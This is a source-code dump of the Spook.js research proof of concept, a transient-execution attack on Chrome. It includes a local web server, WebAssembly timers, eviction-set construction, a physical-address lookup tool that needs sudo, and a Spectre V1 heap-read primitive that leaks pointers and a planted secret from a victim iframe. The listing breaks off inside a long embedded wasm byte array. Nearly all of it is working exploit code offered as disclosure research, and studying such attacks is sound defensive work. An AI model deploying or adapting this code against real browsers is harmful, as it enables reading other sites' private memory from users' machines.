├── README.md ├── package.json ├── server.js └── static ├── frame.html ├── img └── spook-js.svg ├── index.html └── js ├── evsets ├── clock.wasm ├── clock.wat ├── main.js ├── poc.wasm ├── poc.wat ├── verify_addr.sh ├── virt_to_phys.c └── wasmWorker.js ├── frame-worker.js ├── frame.js ├── leaky-page └── leaky-page.js ├── main-worker.js ├── main.js ├── spook.js └── util.js /README.md: -------------------------------------------------------------------------------- 1 | # Spook.js 2 | This is a proof of concept for **spook.js**. It launches a webserver that will serve on http://localhost:8080 by default. The proof of concept was tested with Chrome 89 using Intel i7-6700K and i7-7600U processors. 3 | 4 | ## Running 5 | The code uses node.js to run the webserver. We assume your system has node.js and npm installed. Run the following commands in this directory to start the server: 6 | ``` 7 | $ npm install 8 | $ node ./server.js 9 | ``` 10 | 11 | ## Third Party Code 12 | Builds upon the following software: 13 | - https://github.com/cgvwzq/evsets 14 | - https://github.com/google/security-research-pocs 15 | 16 | Third party code located in: 17 | - static/js/leaky-page/ 18 | - static/js/evsets/ -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "spook.js", 3 | "main": "server.js", 4 | "dependencies": { 5 | "express": "^4.17.1", 6 | "static-serve": "0.0.1", 7 | "yargs": "^17.1.1" 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /server.js: -------------------------------------------------------------------------------- 1 | const express = require('express'); 2 | const serveStatic = require('serve-static'); 3 | const yargs = require('yargs'); 4 | 5 | const argv = yargs 6 | .option('port', { 7 | default: 8080, 8 | description: 'port to bind http server to', 9 | }) 10 | .option('address', { 11 | default: '0.0.0.0', 12 | description: 'address to bind http server to', 13 | }) 14 | .option('serve', { 15 | default: 'static', 16 | description: 'directory to serve over http', 17 | }) 18 | .argv; 19 | 20 | const port = argv.port; 21 | const address = argv.address; 22 | 23 | 24 | const app = express(); 25 | 26 | app.use(function(req, res, next){ 27 | res.header("Cross-Origin-Embedder-Policy", "require-corp"); 28 | res.header("Cross-Origin-Opener-Policy", "same-origin"); 29 | next(); 30 | }); 31 | 32 | app.use(express.text({limit: '50mb'})); 33 | app.use(express.json({limit: '50mb'})); 34 | app.use(serveStatic(argv.serve)); 35 | 36 | app.listen(port, address, () => { 37 | console.log(`Listening on ${address}:${port}`); 38 | }); -------------------------------------------------------------------------------- /static/frame.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 17 | 18 | 19 |
20 | [*] Victim Frame!
21 | [*] Secret data: " secret secret secret secret 123" 22 |
23 | 24 | 25 | -------------------------------------------------------------------------------- /static/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 56 | 57 | 58 |
59 | 61 |
62 |
63 |

64 | This proof-of-concept (PoC) shows Spook.js leaking data from outside its own javascript heap. 65 | The left pane shows the output from Spook.js running in this page and the right pane shows the victim 66 | website running within an iframe. The secret is copied many times in memory just to make it easier to 67 | see in the output. 68 |

69 |
70 |
71 |

72 |             
73 |         
74 | 75 | -------------------------------------------------------------------------------- /static/js/evsets/clock.wasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/spookjs/spookjs-poc/34e478b820be682256a32bf74f8c02baccdcef3e/static/js/evsets/clock.wasm -------------------------------------------------------------------------------- /static/js/evsets/clock.wat: -------------------------------------------------------------------------------- 1 | (module 2 | (import "env" "mem" (memory 2048 2048 shared)) 3 | (func $main 4 | (loop $ccc 5 | ;;(i64.atomic.rmw.add (i32.const 256) (i64.const 1)) 6 | (i64.store (i32.const 256) (i64.add (i64.load (i32.const 256)) (i64.const 1))) 7 | (br $ccc)) 8 | ) 9 | (start $main) 10 | ) 11 | -------------------------------------------------------------------------------- /static/js/evsets/main.js: -------------------------------------------------------------------------------- 1 | (function(exported){ 2 | 3 | // Statistics 4 | function stats(data) { 5 | return { 6 | 'min' : Math.min.apply(0, data), 7 | 'max' : Math.max.apply(0, data), 8 | 'mean' : mean(data), 9 | 'median' : median(data), 10 | 'std': std(data), 11 | 'mode' : mode(data), 12 | 'toString' : function() { 13 | return `{min: ${this.min.toFixed(2)},\tmax: ${this.max.toFixed(2)},\tmean: ${this.mean.toFixed(2)},\tmedian: ${this.median.toFixed(2)},\tstd: ${this.std.toFixed(2)},\tmode: ${this.mode.map(e => e.toFixed(2))}}`; 14 | } 15 | }; 16 | } 17 | 18 | function min(arr) { 19 | return Math.min.apply(0, arr); 20 | } 21 | 22 | function mean(arr) { 23 | return arr.reduce((a,b) => a+b) / arr.length; 24 | } 25 | 26 | function median(arr) { 27 | arr.sort((a,b) => a-b); 28 | return (arr.length % 2) ? arr[(arr.length / 2) | 0] : mean([arr[arr.length/2 - 1], arr[arr.length / 2]]); 29 | } 30 | 31 | function mode(arr) { 32 | var counter = {}; 33 | var mode = []; 34 | var max = 0; 35 | for (var i in arr) { 36 | if (!(arr[i] in counter)) { 37 | counter[arr[i]] = 0; 38 | } 39 | counter[arr[i]]++; 40 | if (counter[arr[i]] == max) { 41 | mode.push(arr[i]); 42 | } else if (counter[arr[i]] > max) { 43 | max = counter[arr[i]]; 44 | mode = [arr[i]]; 45 | } 46 | } 47 | return mode; 48 | } 49 | 50 | function variance(arr) { 51 | var x = mean(arr); 52 | return arr.reduce((pre, cur) => pre + ((cur - x)**2)) / (arr.length - 1); 53 | } 54 | 55 | function std(arr) { 56 | return Math.sqrt(variance(arr)); 57 | } 58 | 59 | // Overload 60 | Function.prototype.toSource = function() { 61 | return this.toString().slice(this.toString().indexOf('{')+1,-1); 62 | } 63 | 64 | Object.defineProperty(Array.prototype, 'chunk', { 65 | value: function(n){ 66 | let results = []; 67 | let ceiled = this.length%n; 68 | let k = Math.ceil(this.length/n); 69 | let q = Math.floor(this.length/n); 70 | let c = 0; 71 | for (i=0; i setTimeout(r, 10)); // timeout to allow counter 142 | do { 143 | let r = 0; 144 | while (!cb(instance, evset, CONFLICT) && ++r < RETRY && evset.victim) { 145 | if (VERBOSE) log('retry'); 146 | first = false; 147 | } 148 | if (r < RETRY) { 149 | RESULTS.push(evset.refs); // save eviction set 150 | evset.refs = evset.del.slice(); 151 | evset.del = []; 152 | evset.relink(); // from new refs 153 | next = CONFLICT; 154 | if (VERBOSE) log('Find next (', evset.refs.length, ')'); 155 | } 156 | else 157 | { 158 | next = CONFLICT; 159 | } 160 | } while (CONFLICT && evset.vics.length > 0 && evset.refs.length > ASSOC); 161 | 162 | const SETS = []; 163 | for (const set of RESULTS) { 164 | for (let offset = 0; offset < STRIDE; offset += 64){ 165 | SETS.push(set.map(num => { 166 | return { 167 | offset: num - (OFFSET*64) + offset, 168 | }; 169 | })); 170 | } 171 | } 172 | 173 | log('Found ' + SETS.length + ' different eviction sets'); 174 | 175 | return SETS; 176 | } 177 | 178 | function cb(instance, evset, findall) { 179 | 180 | let {wasm_hit, wasm_miss} = instance.exports; 181 | 182 | const REP = 6; 183 | const T = 1000; 184 | 185 | const CLOCK = 256; // hardcoded offset in wasm 186 | const VICTIM = evset.victim|0; 187 | const PTR = evset.ptr|0; 188 | 189 | function runCalibration(title, hit, miss, warm) { 190 | for (let i=0; i t_miss) { 211 | return 0; 212 | } else { 213 | return ((Number(t_miss) + Number(t_hit) * 2) / 3); 214 | } 215 | } 216 | } 217 | 218 | const wasmMeasureOpt = { 219 | hit : function hit(vic) { 220 | let t, total = []; 221 | for (let i=0; i= THRESHOLD) { 261 | RESULTS[e].push(evset.victim); 262 | if (VERBOSE) log('\tanother, this belongs to a previous eviction set'); 263 | evset.victim = evset.vics.pop(); 264 | } 265 | e += 1; 266 | } 267 | t = median(wasmMeasureOpt.miss(evset.victim, evset.ptr)); 268 | } while (evset.victim && t < THRESHOLD); 269 | if (!evset.victim) { 270 | if (VERBOSE) log('No more victims'); 271 | return false; 272 | } 273 | next = false; 274 | } 275 | 276 | if (VERBOSE) log ('Starting reduction...'); 277 | evset.groupReduction(wasmMeasureOpt.miss, THRESHOLD); 278 | 279 | if (evset.refs.length === evset.assoc) { 280 | //if (!NOLOG) log('Victim addr: ' + evset.victim); 281 | //if (!NOLOG) log('Eviction set: ' + evset.refs); 282 | if (RESULTS.length % 13 === 0) { 283 | log(`Constructed ${RESULTS.length + 1} sets`); 284 | } 285 | evset.del = evset.del.flat(); 286 | return true; 287 | } else { 288 | while (evset.del.length > 0) { 289 | evset.relinkChunk(); 290 | } 291 | if (VERBOSE) log('Failed: ' + evset.refs.length); 292 | return false; 293 | } 294 | } 295 | 296 | function EvSet(view, nblocks, start=8192, victim=4096, assoc=16, stride=4096, offset=0) { 297 | 298 | const RAND = true; 299 | 300 | /* private methods */ 301 | this.genIndices = function (view, stride) { 302 | let arr = [], j = 0; 303 | for (let i=(stride)/4; i < (view.byteLength-this.start)/4; i += stride/4) { 304 | arr[j++] = this.start + this.offset + i*4; 305 | } 306 | arr.unshift(this.start + this.offset); 307 | return arr; 308 | } 309 | 310 | this.randomize = function (arr) { 311 | for (let i = arr.length; i; i--) { 312 | var j = Math.floor(Math.random() * i | 0) | 0; 313 | [arr[i - 1], arr[j]] = [arr[j], arr[i - 1]]; 314 | } 315 | return arr; 316 | } 317 | 318 | this.indicesToLinkedList = function (buf, indices) { 319 | if (indices.length == 0) { 320 | this.ptr = 0; 321 | return; 322 | } 323 | let pre = this.ptr = indices[0]; 324 | for (let i=1; i this.refs.length-1) { // removing last chunk 362 | view.setUint32(this.refs[this.refs.length-1], 0, true); 363 | } else { // removing middle chunk 364 | view.setUint32(this.refs[s-1], this.refs[s], true); 365 | } 366 | this.del.push(chunk); // right 367 | } 368 | 369 | this.relinkChunk = function relinkChunk() { 370 | let chunk = this.del.pop(); // right 371 | if (chunk === undefined) { 372 | return; 373 | } 374 | this.ptr = chunk[0]; 375 | if (this.refs.length > 0) { 376 | view.setUint32(chunk[chunk.length-1], this.refs[0], true); 377 | } 378 | if (typeof(chunk) === 'number') { 379 | this.refs.unshift(chunk); // left 380 | } else { 381 | this.refs.unshift(...chunk); // left 382 | } 383 | } 384 | 385 | this.groupReduction = function groupReduction(miss, threshold) { 386 | const MAX = 20; 387 | let i = 0, r = 0; 388 | while (this.refs.length > this.assoc) { 389 | let m = this.refs.chunk(this.assoc+1); 390 | let found = false; 391 | for (let c in m) { 392 | this.unlinkChunk(m[c]); 393 | let t = median(miss(this.victim, this.ptr)); 394 | if (t < threshold) { 395 | this.relinkChunk(); 396 | } else { 397 | found = true; 398 | break; 399 | } 400 | } 401 | if (!found) { 402 | r += 1; 403 | if (r < MAX) { 404 | this.relinkChunk(); 405 | if (this.del.length === 0) break; 406 | } else { 407 | while (this.del.length > 0) { 408 | this.relinkChunk(); 409 | } 410 | break; 411 | } 412 | } 413 | if (VERBOSE) if (!(i++ % 100)) print('\tremaining size: ', this.refs.length); 414 | } 415 | } 416 | 417 | this.linkElement = function linkElement(e) { 418 | if (e === undefined) return; 419 | this.ptr = e; 420 | if (this.refs.length > 0) { 421 | view.setUint32(e, this.refs[0], true); 422 | } else { 423 | view.setUint32(e, 0, true); 424 | } 425 | this.refs.unshift(e); // left 426 | } 427 | 428 | this.relink = function () { 429 | this.indicesToLinkedList(this.buffer, this.refs); 430 | } 431 | 432 | this.genConflictSet = function (miss, threshold) { 433 | let indices = this.refs; // copy original indices 434 | this.refs = []; 435 | this.vics = []; 436 | let pre = this.ptr = indices[0], i = 0, e, l = indices.length; 437 | for (i=0; i 0) { 442 | e = indices.pop(); 443 | view.setUint32(e, 0, true); // chrome's COW 444 | let t = miss(e, this.ptr); 445 | if (Array.isArray(t)) { 446 | t = median(t); 447 | } 448 | if (t < threshold) { 449 | this.linkElement(e); 450 | } else { 451 | this.vics.push(e); 452 | // break; 453 | } 454 | } 455 | first = true; 456 | } 457 | /* end-of-public */ 458 | } 459 | 460 | })(self); -------------------------------------------------------------------------------- /static/js/evsets/poc.wasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/spookjs/spookjs-poc/34e478b820be682256a32bf74f8c02baccdcef3e/static/js/evsets/poc.wasm -------------------------------------------------------------------------------- /static/js/evsets/poc.wat: -------------------------------------------------------------------------------- 1 | (module 2 | (import "env" "mem" (memory 2048 2048 shared)) 3 | (export "wasm_hit" (func $hit)) 4 | (export "wasm_miss" (func $miss)) 5 | 6 | (func $hit (param $victim i32) (result i64) 7 | (local $t0 i64) 8 | (local $t1 i64) 9 | (local $td i64) 10 | ;; acces victim 11 | (set_local $td (i64.load (i32.and (i32.const 0xffffffff) (get_local $victim)))) 12 | ;; t0 (mem[0]) 13 | (set_local $t0 (i64.load (i32.and (i32.const 0xffffffff) (i32.or (i32.const 256) (i32.eqz (i64.eqz (get_local $td))))))) 14 | ;; re-access 15 | (set_local $td (i64.load (i32.and (i32.const 0xffffffff) (i32.or (get_local $victim) (i64.eqz (get_local $t0)))))) 16 | ;; t1 (mem[0]) 17 | (set_local $t1 (i64.load (i32.and (i32.const 0xffffffff) (i32.or (i32.const 256) (i32.eqz (i64.eqz (get_local $td))))))) 18 | (i64.sub (get_local $t1) (get_local $t0)) 19 | return) 20 | 21 | (func $miss (param $victim i32) (param $ptr i32) (result i64) 22 | (local $t0 i64) 23 | (local $t1 i64) 24 | (local $td i64) 25 | ;; acces victim 26 | (set_local $td (i64.load (i32.and (i32.const 0xffffffff) (get_local $victim)))) 27 | ;; traverse 28 | (set_local $td (i64.extend_u/i32 (i32.or (i32.eqz (i64.eqz (get_local $td))) (get_local $ptr)))) 29 | (loop $iter 30 | (set_local $td (i64.load (i32.wrap/i64 (get_local $td)))) 31 | (br_if $iter (i32.eqz (i64.eqz (get_local $td))))) 32 | ;; t0 (mem[0]) 33 | (set_local $t0 (i64.load (i32.and (i32.const 0xffffffff) (i32.or (i32.const 256) (i32.eqz (i64.eqz (get_local $td))))))) 34 | ;; re-access 35 | (set_local $td (i64.load (i32.and (i32.const 0xffffffff) (i32.or (get_local $victim) (i64.eqz (get_local $t0)))))) 36 | ;; t1 (mem[0]) 37 | (set_local $t1 (i64.load (i32.and (i32.const 0xffffffff) (i32.or (i32.const 256) (i32.eqz (i64.eqz (get_local $td))))))) 38 | (i64.sub (get_local $t1) (get_local $t0)) 39 | return) 40 | ) 41 | -------------------------------------------------------------------------------- /static/js/evsets/verify_addr.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # Run: 4 | # $ google-chrome-beta --user-data-dir=/tmp/tmp.u9lo18kaTh --js-flags='--allow-natives-syntax --experimental-wasm-bigint' http://localhost:8000/ | ./verify_addr.sh 5 | # 6 | # Dependencies: 7 | # --allow-natives-stynax only used to verify offsets via command line 8 | # --experimental-wasm-bigint will be soon by default 9 | # pmap used to find offset of shared buffer (128*1024 KB) 10 | # gcc virt_to_phys.c -o virt_to_phys (used to translate virtual to physical, get slice and index set) 11 | 12 | declare -A allocated 13 | 14 | while true; do 15 | 16 | while read line; do 17 | if [[ $line =~ "Prepare new evset" ]]; then 18 | break; 19 | fi 20 | done 21 | 22 | # find right pid checking large allocated buffer 23 | base="" 24 | pids=$(ps aux | grep 'chrome-beta/chrome --type=renderer' | awk '{print $2}') 25 | for p in $pids; do 26 | bases=$(pmap $p | grep '131072K' | awk '{print $1}') 27 | if [ ! -z "$bases" ]; then 28 | pid=$p 29 | break; 30 | fi 31 | done 32 | # find right allocated buffer if no gc yet 33 | for c in $bases; do 34 | if [ -z "${allocated[c]}" ]; then 35 | allocated+=(["$c"]=1) # add element to avoid repeat 36 | base="0x$c" 37 | break; 38 | fi 39 | done 40 | if [ -z "$base" ]; then 41 | echo "[!] Error" 42 | exit 1 43 | fi 44 | echo "PID: $pid" 45 | echo "Virtual base: $base" 46 | 47 | conflict=0 48 | 49 | while read line; do 50 | if [[ $line =~ "Creating conflict set..." ]]; then 51 | conflict=1 52 | elif [[ $line =~ "Victim addr:" ]]; then 53 | vic="$(echo $line | cut -d: -f 3 | cut -d\> -f 1)" 54 | vic="$(printf '%x ' $(($base+$vic)))" 55 | elif [[ $line =~ "Eviction set:" ]]; then 56 | addresses="$(echo $line | cut -d: -f 3 | cut -d\> -f 1 | tr ',' ' ')" 57 | vaddrs=$(for o in $addresses; do printf '%x ' $(($base+$o)); done) 58 | echo "Physical addresses:" 59 | # needs sudo to work 60 | sudo ./virt_to_phys $pid $vic $vaddrs 61 | echo "============================================" 62 | elif [[ $line =~ "EOF" ]]; then 63 | break; 64 | fi 65 | done 66 | 67 | done 68 | -------------------------------------------------------------------------------- /static/js/evsets/virt_to_phys.c: -------------------------------------------------------------------------------- 1 | /* from https://github.com/cgvwzq/evsets/blob/master/micro.c */ 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define PAGE_BITS 12 10 | #define LINE_BITS 6 11 | #define SLICE_BITS 3 12 | #define SET_BITS 10 13 | 14 | #define PAGE_SIZE2 (1 << PAGE_BITS) 15 | #define LINE_SIZE (1 << LINE_BITS) 16 | #define CACHE_SLICES (1 << SLICE_BITS) 17 | #define CACHE_SETS (1 << SET_BITS) 18 | 19 | unsigned long long 20 | vtop(unsigned pid, unsigned long long vaddr) 21 | { 22 | char path[1024]; 23 | sprintf (path, "/proc/%u/pagemap", pid); 24 | int fd = open (path, O_RDONLY); 25 | if (fd < 0) 26 | { 27 | return -1; 28 | } 29 | 30 | unsigned long long paddr = -1; 31 | unsigned long long index = (vaddr / PAGE_SIZE2) * sizeof(paddr); 32 | if (pread (fd, &paddr, sizeof(paddr), index) != sizeof(paddr)) 33 | { 34 | return -1; 35 | } 36 | close (fd); 37 | paddr &= 0x7fffffffffffff; 38 | return (paddr << PAGE_BITS) | (vaddr & (PAGE_SIZE2-1)); 39 | } 40 | 41 | unsigned int 42 | count_bits(unsigned long long n) 43 | { 44 | unsigned int count = 0; 45 | while (n) 46 | { 47 | 48 | n &= (n-1) ; 49 | count++; 50 | } 51 | return count; 52 | } 53 | 54 | unsigned int 55 | nbits(unsigned long long n) 56 | { 57 | unsigned int ret = 0; 58 | n = n >> 1; 59 | while (n > 0) 60 | { 61 | n >>= 1; 62 | ret++; 63 | } 64 | return ret; 65 | } 66 | 67 | unsigned long long 68 | ptos(unsigned long long paddr, unsigned long long bits) 69 | { 70 | unsigned long long ret = 0; 71 | unsigned long long mask[3] = {0x1b5f575440ULL, 0x2eb5faa880ULL, 0x3cccc93100ULL}; // according to Maurice et al. 72 | switch (bits) 73 | { 74 | case 3: 75 | ret = (ret << 1) | (unsigned long long)(count_bits(mask[2] & paddr) % 2); 76 | case 2: 77 | ret = (ret << 1) | (unsigned long long)(count_bits(mask[1] & paddr) % 2); 78 | case 1: 79 | ret = (ret << 1) | (unsigned long long)(count_bits(mask[0] & paddr) % 2); 80 | default: 81 | break; 82 | } 83 | return ret; 84 | } 85 | 86 | void 87 | check(unsigned int pid, unsigned long long *virtual_addresses, unsigned int length) 88 | { 89 | unsigned int cache_sets = 1024; 90 | 91 | unsigned long long paddr = 0, cacheset = 0, slice = 0; 92 | 93 | for (unsigned int i = 0; i < length; i++) 94 | { 95 | paddr = vtop (pid, virtual_addresses[i]); 96 | cacheset = (paddr >> LINE_BITS) & (CACHE_SETS - 1); 97 | slice = ptos (paddr, SLICE_BITS); 98 | printf(" - element pfn: 0x%llx, cache set: 0x%llx, slice: 0x%llx\n", paddr, cacheset, slice); 99 | } 100 | } 101 | 102 | int 103 | main(int argc, char **argv) 104 | { 105 | unsigned int i = 0; 106 | if (argc < 3) 107 | { 108 | printf ("[!] Use: %s pid 0x1 0x2 0x3 ...\n", argv[0]); 109 | return 1; 110 | } 111 | unsigned int pid = atoi (argv[1]); 112 | unsigned int len = argc - 2; 113 | unsigned long long *addrs = malloc (sizeof(unsigned long long)*len); 114 | char *eos = argv[argc-1] + strlen(argv[argc-1]); 115 | if (!addrs) 116 | { 117 | printf ("[!] Err: allocate\n"); 118 | return 1; 119 | } 120 | for (i = 2; i < argc; i++) 121 | { 122 | addrs[i-2] = strtoull (argv[i], &eos, 16); 123 | } 124 | 125 | check (pid, addrs, len); 126 | 127 | 128 | } 129 | -------------------------------------------------------------------------------- /static/js/evsets/wasmWorker.js: -------------------------------------------------------------------------------- 1 | self.onmessage = function(evt) { 2 | const {module, memory, cb} = evt.data; 3 | const instance = new WebAssembly.Instance(module, {env: {mem: memory}}); 4 | if (cb) { 5 | let fn = new Function('instance', 'mem', cb); 6 | fn(instance, memory); 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /static/js/frame-worker.js: -------------------------------------------------------------------------------- 1 | self.importScripts('leaky-page/leaky-page.js', 'util.js'); 2 | 3 | /** 4 | * Construct a heap read primitive using leaky-page (Spectre V1 - limited to the javascript execution heap) 5 | * Calculate an offset to the last array, and read its ext_ptr_2 and base_ptr fields 6 | * These fields can be used to construct a pointer to the data for the last array. 7 | * Construct this pointer and send it back to spook.js running in the main frame. 8 | */ 9 | function main() { 10 | const secret = " secret secret secret secret 123"; 11 | const secretData = Array.from(secret).map(x => x.charCodeAt(0)); 12 | 13 | const result = createHeapReadPrimitive(secretData); 14 | if (result === null) { 15 | return null; 16 | } 17 | 18 | const {pageOffset, index, leak} = result; 19 | 20 | // Construct an offset from the SpectreV1 array to the end of the last array (chosen arbitrarily) 21 | const ARRAY_LENGTH = 0xA4; 22 | const ARRAY_END = 0x20 + ARRAY_LENGTH * (64 - index - 1); 23 | 24 | // Verify that the primitive was constructed correctly. 25 | const value = mode(100, () => leak(ARRAY_END - 32)); 26 | if (value !== 0x3F) { 27 | err("Failed to construct heap read primitive"); 28 | return; 29 | } 30 | log("Heap read primitive successfully constructed."); 31 | 32 | // Calculate an offset to the beginning of the last array 33 | const ARRAY_START = ARRAY_END - ARRAY_LENGTH + 0x38; 34 | 35 | // Read ext_ptr_2 36 | const BasePointer = BigInt( 37 | (mode(100, x => leak(ARRAY_START + 44)) << 0) | 38 | (mode(100, x => leak(ARRAY_START + 45)) << 8) 39 | ) << 32n; 40 | 41 | log(`Leaked heap pointer : 0x${BasePointer.toString(16)}`); 42 | 43 | // Read base_ptr 44 | const ArrayPointer = BigInt( 45 | (mode(100, x => leak(ARRAY_START + 48)) << 0) | 46 | (mode(100, x => leak(ARRAY_START + 49)) << 8) | 47 | (mode(100, x => leak(ARRAY_START + 50)) << 16) | 48 | (mode(100, x => leak(ARRAY_START + 51)) << 24) 49 | ) + 0x07n + BasePointer; 50 | log(`Leaked array pointer: 0x${ArrayPointer.toString(16)}`); 51 | 52 | postMessage({ type: 'array_ptr', address: ArrayPointer }); 53 | } 54 | main(); 55 | 56 | function onmessage() { } -------------------------------------------------------------------------------- /static/js/frame.js: -------------------------------------------------------------------------------- 1 | function log(msg) { 2 | window.parent.postMessage({type: 'log', message: msg}); 3 | } 4 | 5 | async function startWorker() { 6 | log("Starting worker!"); 7 | 8 | const workerThread = new Worker('js/frame-worker.js'); 9 | 10 | workerThread.onmessage = async function handle(event) { 11 | let message = event.data; 12 | 13 | switch (message.type) { 14 | case 'log': 15 | log(message.message); 16 | break; 17 | 18 | // Recoverable errors 19 | case 'error': 20 | log(`ERROR: ${message.message}`); 21 | workerThread.terminate(); 22 | location.reload(); 23 | break; 24 | 25 | // Unrecoverable errors 26 | case 'exception': 27 | log(`ERROR: ${message.message}`); 28 | break; 29 | 30 | // Forward this message to Spook.js 31 | case 'array_ptr': 32 | log(`Forwarding array pointer to main window`); 33 | window.parent.postMessage(message); 34 | break; 35 | 36 | default: 37 | log("Unhandled message: " + JSON.stringify(message)); 38 | break; 39 | } 40 | }; 41 | } 42 | 43 | startWorker(); 44 | -------------------------------------------------------------------------------- /static/js/leaky-page/leaky-page.js: -------------------------------------------------------------------------------- 1 | const ARRAY_VALUE = 0x5A; 2 | 3 | const EVICTION_LIST_SIZE = 200; 4 | const PAGE_SZ = 4096; 5 | const CACHE_LINE_SZ = 64; 6 | const CACHE_LINES_PER_PAGE = PAGE_SZ/CACHE_LINE_SZ; 7 | const CACHE_WAYS = 8; 8 | const ELEMENT_SZ = 4; 9 | const testReps = 1; 10 | 11 | function triggerGC() { 12 | for (let i = 0; i < 50; i++) { 13 | new ArrayBuffer(1024*1024); 14 | } 15 | } 16 | 17 | // Insert for spook.js 18 | class AttackerObject { 19 | constructor(i) { 20 | this.f0 = 0x10101010 >> 1; 21 | this.f1 = 0x20202020 >> 1; 22 | this.f2 = 0x30303030 >> 1; 23 | this.f3 = 0x40404040 >> 1; 24 | this.f4 = 0x50505050 >> 1; 25 | this.f5 = 0x60606060 >> 1; 26 | this.f6 = 0x70707070 >> 1; 27 | this.f7 = 0x80808080 >> 1; 28 | this.f8 = 0x90909090 >> 1; 29 | this.f9 = 0xa0a0a0a0 >> 1; 30 | this.f10 = 0xb0b0b0b0 >> 1; 31 | this.f11 = 0xc0c0c0c0 >> 1; 32 | 33 | 34 | this.f11 = (i << 7) | (i << 15); 35 | } 36 | } 37 | 38 | const typedArrays = new Array(256); 39 | typedArrays.fill(Object); 40 | triggerGC(); 41 | // TODO: this can be a prefilled array 42 | const leakMe = []; 43 | for (let i = 0; i < 554; i++) { 44 | leakMe[i] = 0; 45 | } 46 | triggerGC(); 47 | for (let i = 0; i < 64; i++) { 48 | typedArrays[i] = new Uint8Array(0x20); 49 | triggerGC(); 50 | } 51 | triggerGC(); 52 | for (let i = 64; i < 128; i++) { 53 | typedArrays[i] = new AttackerObject(i); 54 | triggerGC(); 55 | } 56 | triggerGC(); 57 | 58 | function log(message) { 59 | postMessage({type: 'log', message: message}); 60 | } 61 | 62 | function err(message) { 63 | postMessage({type: 'error', message: message}); 64 | } 65 | 66 | // The wasm code can be found in cachetools.wat 67 | // In summary, it exposes two similar functions that 68 | // * prime a given cache set with known values 69 | // * run a callback 70 | // * repeatedly access the chosen values while keeping one unknown entry in the 71 | // cache alive 72 | // If the callback was using this cache set, we will see repeated l1 cache 73 | // misses. If not, we will see repeated cache hits. 74 | // The two functions differ from each other by how often the "keepAlive" element 75 | // is accessed. Accessing it more often makes it more stable, but also reduces 76 | // the timing difference. 77 | const wasmBytes = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x1a, 0x02, 0x60, 0x01, 0x7f, 0x01, 0x7f, 0x60, 0x11, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x02, 0x22, 0x02, 0x03, 0x65, 0x6e, 0x76, 0x03, 0x6d, 0x65, 0x6d, 0x02, 0x01, 0x80, 0x40, 0x80, 0x40, 0x03, 0x65, 0x6e, 0x76, 0x0c, 0x70, 0x6c, 0x72, 0x75, 0x43, 0x61, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x00, 0x00, 0x03, 0x03, 0x02, 0x01, 0x01, 0x07, 0x2a, 0x02, 0x11, 0x6f, 0x73, 0x63, 0x69, 0x6c, 0x6c, 0x61, 0x74, 0x65, 0x54, 0x72, 0x65, 0x65, 0x50, 0x4c, 0x52, 0x55, 0x00, 0x01, 0x12, 0x6f, 0x73, 0x63, 0x69, 0x6c, 0x6c, 0x61, 0x74, 0x65, 0x54, 0x72, 0x65, 0x65, 0x50, 0x4c, 0x52, 0x55, 0x32, 0x00, 0x02, 0x0a, 0x99, 0x05, 0x02, 0xa0, 0x02, 0x00, 0x41, 0x00, 0x20, 0x09, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0a, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0b, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0c, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0d, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0e, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0f, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x10, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x10, 0x00, 0x03, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 